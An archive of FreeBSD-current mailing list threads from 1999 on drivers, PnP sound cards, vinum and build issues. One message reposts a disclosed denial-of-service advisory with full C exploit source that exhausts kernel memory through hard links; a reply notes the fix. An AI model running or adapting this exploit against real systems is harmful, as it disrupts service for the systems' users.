>It seems Jeremy L. Stock wrote:
>>>Are you sure you have the latest versions of everything in /sys/dev/ata ??
>>>There was a window of opportunity where I messed up unless ATA_STATIC_ID
>>>was defined...
>>>
>>>-Søren
>>>
>>
>>Fairly positive I have the latest versions. I cvsup'ed twice yesterday. I
>>forgot to mention my motherboard is an ASUS P5-AB if it matters at all.  
>
>Check that you have at least v1.25 of ata-disk.c.
>BTW here it works on the same motherboard...
>
>-Søren
>

 $FreeBSD: src/sys/dev/ata/ata-disk.c,v 1.28 1999/09/25 18:23:45 phk Exp $

Anything else I should look at?



-- 
Jeremy L. Stock <[EMAIL PROTECTED]>
ICQ 46329337
Fax # 612-629-6540 



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: ata driver question..

[Viren R. Shah]

> "Soren" == Soren Schmidt <[EMAIL PROTECTED]> writes:

 Soren> It seems Viren R. Shah wrote:
 >> 
 >> I made world and build a new kernel on Friday the 24th, and later that
 >> evening, I got these:
 >> 
 >> Sep 24 18:00:33 jabberwock /kernel: ata0-master: ad_timeout: lost disk contact - 
 >resetting
 >> Sep 24 18:00:33 jabberwock /kernel: ata0: resetting devices .. done

 Soren> Be sure you have the latest, I fixed a couble of bugs in the timeout
 Soren> code on friday, you shoudl have versions:

That turned out to be the problem -- I cvsupped at an inconvenient
time.  Thanks.

 Soren> -Søren

Note to self: cvsup and rebuild world before posting to -current.

Viren 
-- 
Viren R. Shah  | "For oft, when on my couch I lie
[EMAIL PROTECTED]  |  In vacant or in pensive mood, 
Research Associate |  They flash upon that inward eye 
RST Inc.   |  Which is the bliss of solitude;" --WW


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Loss of Functionality with newpnp

[Jordan K. Hubbard]

> I'm just suggesting here that it would be nice if the authors of
> this code would make it _equally functional_ to what was removed.
> It's not nice to remove functionality unconditionally and then
> provide no replacement at all...

That work is underway, and something to understand about -current
is that it doesn't have to actually work at all times during the
interim periods between releases.  Now, should 4.0 be on the horizon
and the situation still be one where "equivalent functionality"
has not been provided by the newpcm driver, we'll revert back to
the original luigi driver and continue the experiment in the new
post-branch (5.0) current.

- Jordan


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Loss of Functionality with newpnp

[Rodney W. Grimes]

> > I'm just suggesting here that it would be nice if the authors of
> > this code would make it _equally functional_ to what was removed.
> > It's not nice to remove functionality unconditionally and then
> > provide no replacement at all...
> 
> That work is underway, and something to understand about -current
> is that it doesn't have to actually work at all times during the
> interim periods between releases.  Now, should 4.0 be on the horizon
> and the situation still be one where "equivalent functionality"
> has not been provided by the newpcm driver, we'll revert back to
> the original luigi driver and continue the experiment in the new
> post-branch (5.0) current.

If that was only true.  Or should I ask why didn't CAM from -3.3 get
reverted to the old scsi code before 3.3 was released.  I have seen
no less than 2, and perhaps 3 people try to get cards that did work
under pre-CAM 3.x working under post-CAM 3.x.  I know this is a slippery
slope, but it invalidates your above assertion that we revert back
at release when functionality has been lost due to new code.

I also know that we are a lot better off with CAM, and could care less
that the old ancient AIC drivers are dead, but some how I am also pretty
sure we won't be reverting back on newpcm, even if some old sound cards
don't work.  It'll take the same arguement path that CAM did.  ``This
is so much better, someone is working on getting that done, etc, etc..''


-- 
Rod Grimes - KD7CAX - (RWG25)[EMAIL PROTECTED]


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: New PnP code does not work for me(?)

[Warner Losh]

In message <[EMAIL PROTECTED]> Doug Rabson 
writes:
:   case 0x31008c0e: /* CTL0031 */
:   case 0x41008c0e: /* CTL0041 */
:   case 0x42008c0e: /* CTL0042 */
: + case 0x44008c0e: /* CTL0044 */
:   case 0x45008c0e: /* CTL0045 */

What is CTL0043?  Seems like a logical progression to me :-)

Warner


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Loss of Functionality with newpnp

[Jordan K. Hubbard]

> If that was only true.  Or should I ask why didn't CAM from -3.3 get
> reverted to the old scsi code before 3.3 was released.  I have seen
> no less than 2, and perhaps 3 people try to get cards that did work
> under pre-CAM 3.x working under post-CAM 3.x.  I know this is a slippery
> slope, but it invalidates your above assertion that we revert back
> at release when functionality has been lost due to new code.

No, it doesn't invalidate it in any way shape or form.  I said that in
this specific case, and you're free to read my message as many times
as you wish but you'll not find anything saying I was speaking for
anything BUT the newpcm driver here, the new stuff would be reverted
if need be.  CAM was a rather different situation since it was one of
those painful-but-necessary trade-offs we had to accept both the pros
and the cons for.  The a.out -> ELF transition was painful too, and
I'm sure there were a few ports which broke and/or older commercial
software packages which became harder to use as a result, but you
won't hear anyone talking about going back to a.out for just that
reason.

Each situation is different and there are NO hard-and-fast rules about
when it does and does not make sense to accept the loss of certain
functionality in exchange for new functionality.  To even assume
that such a rule would be practical would be like saying that life
itself always fits into neat, well-compartmentalized little boxes. :)

- Jordan


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

No Subject

[RaDyX]

auth fdfda9f6 unsubscribe freebsd-current [EMAIL PROTECTED]
auth 8a3cc747 unsubscribe cvs-all [EMAIL PROTECTED]



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: On hub.freebsd.org refusing to talk to dialups

[Wilko Bulte]

As Jonathan M. Bresler wrote ...
> 
> stopping chat on the tech lists is an open research project ;)

Very much so. It will most likely require GenuineIntelligence
(as opposed to AI or the organic, carbon based variant we all know too
well ;-)

GenuineIntelligence is not scheduled for release for another millenium or
two.

> jmb

;-)

-- 
|   / o / /  _   Arnhem, The Netherlands- Powered by FreeBSD -
|/|/ / / /( (_) BulteWWW  : http://www.tcja.nl  http://www.freebsd.org


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Another tty related patch for review/test

[Poul-Henning Kamp]

http://phk.freebsd.dk/tty

--
Poul-Henning Kamp FreeBSD coreteam member
[EMAIL PROTECTED]   "Real hackers run -current on their laptop."
FreeBSD -- It will take a long time before progress goes too far!


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: EGCS, or EGCS?

[Ollivier Robert]

According to Peter Jeremy:
> That's the way I remembered things.  What threw me is that I currently
> have two _different_ gcc directories, both claiming to be EGCS 1.1.2,
> and both being updated.

The main reason is that we don't lose history with the directory change. At
first we had contrib/gcc, then it moved into contrib/egcs then back to
contrib/gcc. By importing egcs on top of 2.7.2.3 in contrib/gcc we have a
clear line going from gcc to egcs to gcc in one place.

As soon as 2.95.1 gets imported, contrib/egcs will disappear.
-- 
Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- [EMAIL PROTECTED]
FreeBSD keltia.freenix.fr 4.0-CURRENT #74: Thu Sep  9 00:20:51 CEST 1999



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Another tty related patch for review/test

[Julian Elischer]

I was concerned about the extra checks by devices that 
have control devices. But a quick sample of drivers indicates that
the test for si_tty != NULL catches those. I haven't done an exhaustive
test, but it looks like these changes are functionally equivalent to old
code assuming that si_tty is corrently preset for all these devices, and
NULL for all control devices. (It appears that this is the case.)

You have my ok on it..


On Mon, 27 Sep 1999, Poul-Henning Kamp wrote:

> 
> http://phk.freebsd.dk/tty
> 
> --
> Poul-Henning Kamp FreeBSD coreteam member
> [EMAIL PROTECTED]   "Real hackers run -current on their laptop."
> FreeBSD -- It will take a long time before progress goes too far!
> 
> 
> To Unsubscribe: send mail to [EMAIL PROTECTED]
> with "unsubscribe freebsd-current" in the body of the message
> 



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: System crash on "vinum start"

[Jeffrey J. Mountin]

At 01:05 PM 9/27/99 -0400, Brad Chisholm wrote:
>Well, I believe I discovered the source of my problem.  It turns out that 
>I did not have the correct devices configured in /dev for the component 
>drives.  I had da[0-3]e, but not da[0-3]s1e.  The documentation seemed to
>indicate that the da?s1? devices were not required, but once I made them,
>the crashes stopped.

Unless it's changed (again) you only need "/dev/da[0-3]" with no slice or
partition.

Not to surprising that it paniced with what appeared to be a "dedicated"
disk (ie da0e).



>It's interesting that I could bring the array up using the 'start'
>command from the vinum interactive prompt, and things would work
>properly with the missing devices, while issuing a direct 'vinum
>start' would cause a panic.

Expected behaviour.  From vinum.8:

 If no object names are specified, vinum scans the disks known to
 the system for vinum drives and then reads in the configuration
 as described under the read commands.  The vinum drive contains a
 header with all information about the data stored on the drive,
 including the names of the other drives which are required in
 order to represent plexes and volumes.

Similarly you could list only one drive for the read command in rc.conf and
it should bring up all drives.  Emphasis on the "could" and "should" here.

Doing a "dd if=/dev/da0s1e skip=8 count=6 | tr -d '\000-\011\200-\377'"
would show why, but then you should have seen this if read the section
abover kernel panics. ;)

>Even though this may have been a stupid user error, it would be nice
>if vinum could catch this without a system crash.  To that end, I'm
>including an updated traceback from my panic dump which has the vinum
>calls included.

The only time recently that I've seen it panic is when doing something
wrong.  Earlier in the year made pretty much the same mistake you have here.

>Thanks for providing such a useful piece of software!

Most certainly is.  Could use the functionality to add to a plex's size for
striped or RAID5, but a bit of planning cures that.  8-)


Jeff Mountin - [EMAIL PROTECTED]
Systems/Network Administrator
FreeBSD - the power to serve
'86 Yamaha MaxiumX (not FBSD powered)



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: New PnP code does not work for me(?)

[Donald J . Maddox]

God knows, I'll second that one... :-)  Hear, hear!

On Sun, Sep 26, 1999 at 07:39:27PM -0700, Darryl Okahata wrote:
>  I want to publicly thank Peter Wemm for posting a reply that is
> courteous, informative, and useful.  Recently, there has been too much
> noise in this and other FreeBSD lists/groups where other people have
> been abrupt to the point of rudeness.


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: New PnP code does not work for me(?)

[Donald J . Maddox]

Thanks, Doug.  Peter already provided an equivalent patch, and I am
happy to report that it works like a charm (of course :-)).

On Mon, Sep 27, 1999 at 10:35:46AM +0100, Doug Rabson wrote:
> On Sun, 26 Sep 1999, Donald J . Maddox wrote:
> 
> > I couldn't get my PnP Creative AWE64G to work with the new PnP
> > code, so I tried compiling a kernel with pcm instead.  All I get is:
> > 
> > unknown0:  at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,5 on isa0
> > unknown1:  at port 0x200-0x207 on isa0
> > unknown2:  at port 0x620-0x623 on isa0
> > 
> > It is my understanding that, with the new PnP code, I should not have to
> > specify the ports, IRQs, DMA, etc., right?  Here is the config I used:
> 
> It looks like an ID is missing for this card. Try this patch:
> 
> Index: sb.c
> ===
> RCS file: /home/ncvs/src/sys/dev/pcm/isa/sb.c,v
> retrieving revision 1.23
> diff -u -r1.23 sb.c
> --- sb.c  1999/09/07 08:42:44 1.23
> +++ sb.c  1999/09/27 09:34:04
> @@ -1258,6 +1258,7 @@
>   case 0x31008c0e: /* CTL0031 */
>   case 0x41008c0e: /* CTL0041 */
>   case 0x42008c0e: /* CTL0042 */
> + case 0x44008c0e: /* CTL0044 */
>   case 0x45008c0e: /* CTL0045 */
>   s = "SB16 PnP";
>   break;
> 
> --
> Doug Rabson   Mail:  [EMAIL PROTECTED]
> Nonlinear Systems Ltd.Phone: +44 181 442 9037
> 
> 
> 


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

bktr

[Kenneth Wayne Culver]

I'm happy to report that for my WinTV card, the bktr drivers are working
well with the latest changes. Keep up the good work.


=
| Kenneth Culver  | FreeBSD: The best OS around.|
| Unix Systems Administrator  | ICQ #: 24767726 |
| and student at The  | AIM: AgRSkaterq |
| The University of Maryland, | Website: (Under Construction)   |
| College Park.   | http://www.wam.umd.edu/~culverk/|
=



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: System crash on "vinum start"

[Greg Lehey]

On Monday, 27 September 1999 at 15:37:30 -0500, Jeffrey J. Mountin wrote:
> At 01:05 PM 9/27/99 -0400, Brad Chisholm wrote:
>> Well, I believe I discovered the source of my problem.  It turns out that
>> I did not have the correct devices configured in /dev for the component
>> drives.  I had da[0-3]e, but not da[0-3]s1e.  The documentation seemed to
>> indicate that the da?s1? devices were not required, but once I made them,
>> the crashes stopped.
>
> Unless it's changed (again) you only need "/dev/da[0-3]" with no slice or
> partition.

It has changed (again).

> Not to surprising that it paniced with what appeared to be a
> "dedicated" disk (ie da0e).

It's surprising.  Good software shouldn't panic.  But this input is
valuable, because now I know where to look.

>> It's interesting that I could bring the array up using the 'start'
>> command from the vinum interactive prompt, and things would work
>> properly with the missing devices, while issuing a direct 'vinum
>> start' would cause a panic.
>
> Expected behaviour.  From vinum.8:
>
>  If no object names are specified, vinum scans the disks known to
>  the system for vinum drives and then reads in the configuration
>  as described under the read commands.  The vinum drive contains a
>  header with all information about the data stored on the drive,
>  including the names of the other drives which are required in
>  order to represent plexes and volumes.
>
> Similarly you could list only one drive for the read command in rc.conf and
> it should bring up all drives.  Emphasis on the "could" and "should" here.

I think you're misinterpreting what Brad was saying.  He was issuing
the same command, once during boot and once later.  I've had a number
of reports of this problem, but this is the first one that helps me
find the bug.

>> Thanks for providing such a useful piece of software!
>
> Most certainly is.  Could use the functionality to add to a plex's size for
> striped or RAID5, but a bit of planning cures that.  8-)

It's all in the pipeline.  But first we need Vinum on the root file
system.

Greg
--
See complete headers for address, home page and phone numbers
finger [EMAIL PROTECTED] for PGP public key


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Demand-loaded network ifs and bpf

[John-Mark Gurney]

Donald J . Maddox scribbled this message on Sep 26:
> I see that support has been added for demand-loading network
> if drivers.  I seem to recall that the last time I tried using
> network drivers as klds, nothing that required bpf to work
> was functional anymore, because bpf required that the device
> existed at the time it was initialized.  Is this still the case?
> Will bpf work for demand-loaded network klds?

you should do your own research such are reading the commit logs that
has to deal with it (remeber, you're suppose to be reading them if you
are running -current):
wpaul   1999/09/22 20:32:59 PDT

  Modified files:
sys/pci  if_al.c if_ax.c if_dm.c if_mx.c if_pn.c
 if_rl.c if_sf.c if_sis.c if_sk.c if_ste.c
 if_ti.c if_tl.c if_vr.c if_wb.c if_xl.c
sys/i386/isa if_wi.c
  Log:
  As suggested by phk, unconditionalize BPF support in these drivers. Since
  there are stubs compiled into the kernel if BPF support is not enabled,
  there aren't any problems with unresolved symbols. The modules in /modules
  are compiled with BPF support enabled anyway, so the most this will do is
  bloat GENERIC a little.

-- 
  John-Mark Gurney  Voice: +1 408 975 9651
  Cu Networking   

  "The soul contains in itself the event that shall presently befall it.
  The event is only the actualizing of its thought." -- Ralph Waldo Emerson


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: New PnP code does not work for me(?)

[Andrew Sparrow]

> : case 0x31008c0e: /* CTL0031 */
> : case 0x41008c0e: /* CTL0041 */
> : case 0x42008c0e: /* CTL0042 */
> : +   case 0x44008c0e: /* CTL0044 */
> : case 0x45008c0e: /* CTL0045 */

> What is CTL0043?  Seems like a logical progression to me :-)

> Warner

And me. Built-in sound on a Micron W6-Li SMP socket 8 board:

Card assigned CSN #2
Vendor ID CTL00f0 (0xf0008c0e), Serial Number 0x
PnP Version 1.0, Vendor Version 16
Device Description: Creative ViBRA16X PnP

Logical Device ID: CTL0043 0x43008c0e #0
Device Description: Audio




Also, for the sake of completeness, an add-on ISA WaveBlaster card
(supposed to make an SB16 equivalent to an AWE32, not recognised
by any driver I've tried so far):

Card assigned CSN #1
Vendor ID CTL00a5 (0xa5008c0e), Serial Number 0x0001c333
PnP Version 1.0, Vendor Version 16
Device Description: Creative EMU8000 PnP

Logical Device ID: CTL0021 0x21008c0e #0
Device Description: WaveTable
TAG Start DF




If anyone wants the rest of the output for any reason, let me
know.


Cheers,


AS.



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: Demand-loaded network ifs and bpf

[Donald J . Maddox]

Thanks for the info.  I do read the commit logs, and I was aware
of this commit; however, it's not entirely clear to me if this
commit resolves the issue I'm talking about.

The problem, as I recall, had to do with the bpf pseudo-device
attaching to devices _only_ at boot time, so it would not see
any device loaded after boot.

The specific case for me was, I compiled a kernel with bpf support,
but no tun device.  Then, after 'kldload'ing if_tun.ko, attempting
to run 'tcpdump -i tun0' gave:

tcpdump: tun0: Device not configured

The tun0 commit that paralells the one you quoted, says:

---
...
Remove NBPF conditionality of bpf calls in most of our network drivers.

This means that we will not have to have a bpf and a non-bpf version
of our driver modules.

This does not open any security hole, because the bpf core isn't loadable
...
-

Maybe I'm just not reading enough into this, but this commit does not seem
to address the problem I had.  I never had a non-bpf version of the tun
module.

In any case, the issue is easily resolvable.  I will just build a kernel
with bpf and no tun0, and see if 'tun0 as kld' works with bpf :-)

On Mon, Sep 27, 1999 at 04:53:21PM -0700, John-Mark Gurney wrote:
> Donald J . Maddox scribbled this message on Sep 26:
> > I see that support has been added for demand-loading network
> > if drivers.  I seem to recall that the last time I tried using
> > network drivers as klds, nothing that required bpf to work
> > was functional anymore, because bpf required that the device
> > existed at the time it was initialized.  Is this still the case?
> > Will bpf work for demand-loaded network klds?
> 
> you should do your own research such are reading the commit logs that
> has to deal with it (remeber, you're suppose to be reading them if you
> are running -current):
> wpaul   1999/09/22 20:32:59 PDT
> 
>   Modified files:
> sys/pci  if_al.c if_ax.c if_dm.c if_mx.c if_pn.c
>  if_rl.c if_sf.c if_sis.c if_sk.c if_ste.c
>  if_ti.c if_tl.c if_vr.c if_wb.c if_xl.c
> sys/i386/isa if_wi.c
>   Log:
>   As suggested by phk, unconditionalize BPF support in these drivers. Since
>   there are stubs compiled into the kernel if BPF support is not enabled,
>   there aren't any problems with unresolved symbols. The modules in /modules
>   are compiled with BPF support enabled anyway, so the most this will do is
>   bloat GENERIC a little.
> 
> -- 
>   John-Mark GurneyVoice: +1 408 975 9651
>   Cu Networking 
> 
>   "The soul contains in itself the event that shall presently befall it.
>   The event is only the actualizing of its thought." -- Ralph Waldo Emerson
> 
> 
> To Unsubscribe: send mail to [EMAIL PROTECTED]
> with "unsubscribe freebsd-current" in the body of the message
> 


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

440fx builtin pnp `soundcard' doesn't work anymore under current

[Bakul Shah]

Running rvplayer crashes the system.  Catting a small .au
file works but a large one panics the system so I think the
problem may just be the drq difference.  I know a number of
people in the FreeBSD crowd have this system (a Toshiba
Equium 6200M -- a `good' buy 15 months back) so this can't be
an isolated problem.  I will be tracking this down but there
is some bootstrap time involved and may be someone has
already done this...

Thanks for any help!

-- bakul

I don't have the panic message handy at the moment but can
generate it if it'll help.

demsg reports:

pcm0:  at port 0x534-0x537,0x388-0x38b,0x220-0x22f irq 5 drq 1,0 on isa0

My old /kernel.config used to say

pnp 1 0 os enable port0 0x534 port1 0x388 port2 0x220 irq0 5 drq0 1 drq1 3

[note: this used to work with an older current from June]

Kernel config file has

controller pnp0
device pcm0

pnpinfo dump [note: this shows drq 1 & 3]

# pnpinfo
Checking for Plug-n-Play devices...

Card assigned CSN #1
Vendor ID CSC0b35 (0x350b630e), Serial Number 0x
PnP Version 1.0, Vendor Version 1
Device Description: CS4236B Audio

Logical Device ID: CSC 0x630e #0
Device Description: WSS/SB
TAG Start DF
Good Configuration
DMA: channel(s) 1 
8-bit, not a bus master, count by byte, , Type A
DMA: channel(s) 0 3 
8-bit, not a bus master, count by byte, , Type A
IRQ: 5  - only one type (true/edge)
I/O Range 0x534 .. 0x534, alignment 0x4, len 0x4
[16-bit addr]
I/O Range 0x388 .. 0x388, alignment 0x8, len 0x4
[16-bit addr]
I/O Range 0x220 .. 0x220, alignment 0x20, len 0x10
[16-bit addr]
TAG Start DF
Acceptable Configuration
DMA: channel(s) 1 3 
8-bit, not a bus master, count by byte, , Type A
DMA: channel(s) 0 1 3 
8-bit, not a bus master, count by byte, , Type A
IRQ: 5 7 9 11 12 15  - only one type (true/edge)
I/O Range 0x534 .. 0xffc, alignment 0x4, len 0x4
[16-bit addr]
I/O Range 0x388 .. 0x388, alignment 0x8, len 0x4
[16-bit addr]
I/O Range 0x220 .. 0x260, alignment 0x20, len 0x10
[16-bit addr]
TAG Start DF
Sub-optimal Configuration
DMA: channel(s) 0 1 3 
8-bit, not a bus master, count by byte, , Type A
IRQ: 5 7 9 11 12 15  - only one type (true/edge)
I/O Range 0x534 .. 0xffc, alignment 0x4, len 0x4
[16-bit addr]
I/O Range 0x388 .. 0x3f8, alignment 0x8, len 0x4
[16-bit addr]
I/O Range 0x220 .. 0x300, alignment 0x20, len 0x10
[16-bit addr]
TAG End DF

Logical Device ID: CSC0001 0x0100630e #1
Device Description: GAME
TAG Start DF
Good Configuration
I/O Range 0x200 .. 0x200, alignment 0x8, len 0x8
[16-bit addr]
TAG Start DF
Acceptable Configuration
I/O Range 0x208 .. 0x208, alignment 0x8, len 0x8
[16-bit addr]
TAG End DF

Logical Device ID: CSC0010 0x1000630e #2
Device Description: CTRL
I/O Range 0x120 .. 0xff8, alignment 0x8, len 0x8
[16-bit addr]

Logical Device ID: CSC0003 0x0300630e #3
Device Description: MPU
TAG Start DF
Good Configuration
IRQ: 9  - only one type (true/edge)
I/O Range 0x330 .. 0x330, alignment 0x8, len 0x2
[16-bit addr]
TAG Start DF
Acceptable Configuration
IRQ: 9 11 12 15  - only one type (true/edge)
I/O Range 0x300 .. 0x3f8, alignment 0x8, len 0x2
[16-bit addr]
TAG End DF
End Tag

Successfully got 44 resources, 4 logical fdevs
-- card select # 0x0001

CSN CSC0b35 (0x350b630e), Serial Number 0x

Logical device #0
IO:  0x0534 0x0534 0x0534 0x0534 0x0534 0x0534 0x0534 0x0534
IRQ 5 0
DMA 1 0
IO range check 0x00 activate 0x01

Logical device #1
IO:  0x 0x 0x 0x 0x 0x 0x 0x
IRQ 0 0
DMA 4 4
IO range check 0x00 activate 0x01

Logical device #2
IO:  0x 0x 0x 0x 0x 0x 0x 0x
IRQ 0 0
DMA 4 4
IO range check 0x00 activate 0x00

Logical device #3
IO:  0x 0x 0x 0x 0x 0x 0x 0x
IRQ 0 0
DMA 4 4
IO range check 0x00 activate 0x00


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: System crash on "vinum start"

[Peter Jeremy]

On Tue, Sep 28, 1999 at 09:11:31AM +1000, Greg Lehey wrote:
>  Good software shouldn't panic.
I wish _I_ could convince some people of this :-(.

> > Most certainly is.  Could use the functionality to add to a plex's size for
> > striped or RAID5, but a bit of planning cures that.  8-)
> 
> It's all in the pipeline.  But first we need Vinum on the root file
> system.
And whilst we're discussing wish-lists...  After several fights with
Digital/Compaq's Logical Storage Manager, it would be _very_ nice if
recovery could be done at the physical disk level (ie, "I've just
replaced da3 - autorecover all vinum volumes that used that disk"),
rather than having to recover each logical volume.  It would also be
nice if you could recover mirrored root/swap without needing to
unmirror and re-mirror them.

Peter


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: System crash on "vinum start"

[Greg Lehey]

On Tuesday, 28 September 1999 at 12:59:34 +1000, Peter Jeremy wrote:
> On Tue, Sep 28, 1999 at 09:11:31AM +1000, Greg Lehey wrote:
>>  Good software shouldn't panic.
> I wish _I_ could convince some people of this :-(.
>
>>> Most certainly is.  Could use the functionality to add to a plex's size for
>>> striped or RAID5, but a bit of planning cures that.  8-)
>>
>> It's all in the pipeline.  But first we need Vinum on the root file
>> system.
> And whilst we're discussing wish-lists...  After several fights with
> Digital/Compaq's Logical Storage Manager, it would be _very_ nice if
> recovery could be done at the physical disk level (ie, "I've just
> replaced da3 - autorecover all vinum volumes that used that disk"),
> rather than having to recover each logical volume.  It would also be
> nice if you could recover mirrored root/swap without needing to
> unmirror and re-mirror them.

Yup, it's all on the way.  I've just found the second-last bug in
Vinum, so now I'll have time to do that sort of thing :-)

Greg
--
See complete headers for address, home page and phone numbers
finger [EMAIL PROTECTED] for PGP public key


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Program breaks with stable->current (__builtin_apply)

[Mike Heffner]

hi,

i just recently upgraded from stable->current successfully. a program i use
often is unable to run any more though. the program dies in the following spot:

__builtin_apply( serv->cb, __builtin_apply_args(), MAX_DIM_ARGS_LIST));

it dies with a signal 8, floating point exception. browsing over some of the
gcc code, i couldn't see any major differences between stable and current.
is/was there any major change that could effect this? it's the
same exact code as i used with stable, and i recompiled the app after going
-current.

Thanks in advance,


-
Mike Heffner <[EMAIL PROTECTED]>
Fredericksburg, VA
ICQ# 882073
Date: 27-Sep-99   Time: 23:25:50
-


To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

just found this

[Kenneth Culver]

Check this out, if anyone is intrested.

I found this on packetstorm.securify.com tonight. Any ideas??

[Resending once, since it's been 10.5 days...]

Here's an interesting denial-of-service attack against FreeBSD >=3.0
systems.  It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no
way to purge entries unless the `vnode' (e.g. the file) they point to
is removed from memory -- which generally doesn't happen unless a
certain magic number of `vnodes' is in use, and never happens when the
`vnode' (i.e. file) is open.  Thus it's possible to chew up an
arbitrary amount of wired kernel memory relatively simply.

What strikes me as funny about this is that the relevant code in
4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not*
susceptible to such an attack, and all of the code to prevent it was
intentionally removed.

I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM,
and it chugged along to about `02/03000' (meaning it created 3 files
and about 63000 or so links), consuming a whopping 34MB of wired
kernel memory (according to `top'), before all file system activity
came to a screeching halt and the machine was unusable.

This exploit does not affect Linux 2.0.36, or any version of NetBSD.
I have not tested Linux versions >=2.1 (which have a different
implementation of the equivalent code from 2.0.36), but based on code
inspection, I do not believe it to be vulnerable to this particular
attack.

Note that, although it may seem like setting quotas is a good solution
to this problem, if the FreeBSD system is acting as a NFS client, it's
possible to use a variant of the attack that only creates one file and
keeps at most one link to it at any given time.

Also note that it may be possible to exercise this against a FTP
server with a writable directory if the server has a way of creating
hard links.  (I'm not aware of any that do, but I point this out for
completeness.)

-8<-snip-8<-snip-8<-snip-8<-snip-8<-
#include 
#include 
#include 

#define NFILE 64
#define NLINK 3
#define NCHAR 245

int
main()
{
char junk[NCHAR+1],
 dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1];
int i, j;
struct stat sb;

memset(junk, 'x', NCHAR);
junk[NCHAR] = '\0';
for (i = 0; i < NFILE; i++) {
printf("\r%02d/%05d...", i, 0),
fflush(stdout);
sprintf(dir, "%02d-%02d", i, 0);
if (mkdir(dir, 0755) < 0)
fprintf(stderr, "mkdir(%s) failed\n", dir),
exit(1);
sprintf(file1, "%s/%s%03d", dir, junk, 0);
if (creat(file1, 0644) < 0)
fprintf(stderr, "creat(%s) failed\n", file1),
exit(1);
if (stat(file1, &sb) < 0)
fprintf(stderr, "stat(%s) failed\n", file1),
exit(1);
for (j = 1; j < NLINK; j++) {
if ((j % 1000) == 0) {
printf("\r%02d/%05d...", i, j),
fflush(stdout);
sprintf(dir, "%02d-%02d", i, j/1000);
if (mkdir(dir, 0755) < 0)
fprintf(stderr, "mkdir(%s) failed\n", dir),
exit(1);
}
sprintf(file2, "%s/%s%03d", dir, junk, j%1000);
if (link(file1, file2) < 0)
fprintf(stderr, "link(%s,%s) failed\n", file1, file2),
exit(1);
if (stat(file2, &sb) < 0)
fprintf(stderr, "stat(%s) failed\n", file2),
exit(1);
}
}
printf("\rfinished successfully\n");
}
-8<-snip-8<-snip-8<-snip-8<-snip-8<-



To Unsubscribe: send mail to [EMAIL PROTECTED]
with "unsubscribe freebsd-current" in the body of the message

Re: just found this

[Alfred Perlstein]

this was fixed in the final hours before 3.3-release.

http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/vfs_cache.c



1.38.2.3 Thu Sep 16 2:02:15 1999 UTC by alfred 
CVS Tags: RELENG_3_3_0_RELEASE; Branch: RELENG_3 
Diffs to 1.38.2.2 

Limit aliases to a vnode in the namecache to a sysctl tunable
'vfs.cache.maxaliases'  This protects against a DoS via thousands
of hardlinks to a file wiring down all kernel memory.

Approved by:jkh



-Alfred Perlstein - [[EMAIL PROTECTED]|[EMAIL PROTECTED]]
Wintelcom systems administrator and programmer
   - http://www.wintelcom.net/ [[EMAIL PROTECTED]]


On Mon, 27 Sep 1999, Kenneth Culver wrote:

> 
> Check this out, if anyone is intrested.
> 
> I found this on packetstorm.securify.com tonight. Any ideas??
> 
> [Resending once, since it's been 10.5 days...]
> 
> Here's an interesting denial-of-service attack against FreeBSD >=3.0
> systems.  It abuses a flaw in the `new' FreeBSD vfs_cache.c; it has no
> way to purge entries unless the `vnode' (e.g. the file) they point to
> is removed from memory -- which generally doesn't happen unless a
> certain magic number of `vnodes' is in use, and never happens when the
> `vnode' (i.e. file) is open.  Thus it's possible to chew up an
> arbitrary amount of wired kernel memory relatively simply.
> 
> What strikes me as funny about this is that the relevant code in
> 4.4BSD-Lite, which was in FreeBSD up through 2.2.8, was *not*
> susceptible to such an attack, and all of the code to prevent it was
> intentionally removed.
> 
> I ran this on a machine running FreeBSD 3.2-RELEASE with 256MB of RAM,
> and it chugged along to about `02/03000' (meaning it created 3 files
> and about 63000 or so links), consuming a whopping 34MB of wired
